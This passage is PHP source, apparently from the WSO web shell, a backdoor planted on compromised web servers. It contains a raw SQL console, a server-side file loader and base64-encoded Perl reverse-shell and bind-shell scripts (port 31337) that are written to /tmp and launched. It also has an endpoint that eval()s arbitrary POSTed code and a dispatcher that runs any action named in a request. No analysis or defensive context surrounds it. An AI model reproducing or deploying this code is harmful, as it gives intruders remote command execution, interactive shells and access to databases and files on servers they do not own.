1331 if($i != (int)$_POST['p3'])
1332 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1333 else
1334 echo ($i+1)," ";
1335 if($_POST['type']=='pgsql')
1336 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1337 else
1338 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1339 echo "<br><br>";
1340 }
1341 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1342 $db->query(@$_POST['p3']);
1343 if($db->res !== false) {
1344 $title = false;
1345 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1346 $line = 1;
1347 while($item = $db->fetch()) {
1348 if(!$title) {
1349 echo '<tr>';
1350 foreach($item as $key => $value)
1351 echo '<th>'.$key.'</th>';
1352 reset($item);
1353 $title=true;
1354 echo '</tr><tr>';
1355 $line = 2;
1356 }
1357 echo '<tr class="l'.$line.'">';
1358 $line = $line==1?2:1;
1359 foreach($item as $key => $value) {
1360 if($value == null)
1361 echo '<td><i>null</i></td>';
1362 else
1363 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1364 }
1365 echo '</tr>';
1366 }
1367 echo '</table>';
1368 } else {
1369 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1370 }
1371 }
1372 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1373 echo "</td></tr>";
1374 }
1375 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1376 if(@$_POST['p1'] == 'loadfile') {
1377 $file = $db->loadFile($_POST['p2']);
1378 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1379 }
1380 }
1381 echo '</div>';
1382 wsoFooter();
1383}
1384function actionNetwork() {
1385 wsoHeader();
1386 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1387 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1388 echo "<h1>Network tools</h1><div class=content>
1389 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1390 <span>Bind port to /bin/sh [perl]</span><br/>
1391 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1392 </form>
1393 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1394 <span>Back-connect [perl]</span><br/>
1395 Server: <input type='hidden' name='FromShell' id='' value=".$SERVER_SESSIONS."><input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1396 </form><br>";
1397 if(isset($_POST['p1'])) {
1398 function cf($f,$t) {
1399 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1400 if($w) {
1401 @fwrite($w,@base64_decode($t));
1402 @fclose($w);
1403 }
1404 }
1405 if($_POST['p1'] == 'bpp') {
1406 cf("/tmp/bp.pl",$bind_port_p);
1407 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1408 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1409 }
1410 if($_POST['p1'] == 'bcp') {
1411 cf("/tmp/bc.pl",$back_connect_p);
1412 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1413 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1414 }
1415 }
1416 echo '</div>';
1417 wsoFooter();
1418}
1419function actionRC() {
1420 if(!@$_POST['p1']) {
1421 $a = array(
1422 "uname" => php_uname(),
1423 "php_version" => phpversion(),
1424 "wso_version" => VERSION,
1425 "safemode" => @ini_get('safe_mode')
1426 );
1427 echo serialize($a);
1428 } else {
1429 eval($_POST['p1']);
1430 }
1431}
1432if( empty($_POST['a']) )
1433 if(isset($default_action) && function_exists('action' . $default_action))
1434 $_POST['a'] = $default_action;
1435 else
1436 $_POST['a'] = 'SecInfo';
1437if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1438 call_user_func('action' . $_POST['a']);
1439exit;
1440?>